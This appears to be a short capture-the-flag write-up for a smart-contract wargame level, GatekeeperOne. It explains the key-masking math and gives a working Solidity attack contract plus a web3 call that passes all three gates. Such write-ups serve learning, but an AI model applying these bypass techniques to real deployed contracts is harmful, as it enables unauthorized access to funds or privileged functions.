13-gatekeeperone.md

gateOne: can be bypassed by using a contract so that tx.origin != msg.sender

gateTwo: adjust initial gas (had to bruteforce initial value, there must be a clever way to get this)

gateThree:

                       c        d
  -------- -------- -------- --------
  |       a        |        b        |

• key = 64 bits
• a = high 32 bits of key
• b = low 32 bits of key
• c = high 16 bits of b
• d = low 16 bits of b

Then:

• uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) => b == d => c == 0
• uint32(uint64(_gateKey)) != uint64(_gateKey) => b != key => a != 0
• uint32(uint64(_gateKey)) == uint16(tx.origin) => b == uint16(tx.origin)

contract GatekeeperOne {
    function enter(bytes8 _gateKey) public returns (bool) {}
}

contract HackGatekeeperOne {
  function hack() public {
    GatekeeperOne gk1 = GatekeeperOne(<instance address>);

    bytes8 key = bytes8(0x1000000000000000) | bytes8(uint64(uint16(tx.origin)));

    gk1.enter(key);
  }
}

const abi = ...;
hackGK1Contract = new web3.eth.Contract(abi, '<contract address>');
hackGK1Contract.methods.hack().send({ from: player, gasLimit: 65933});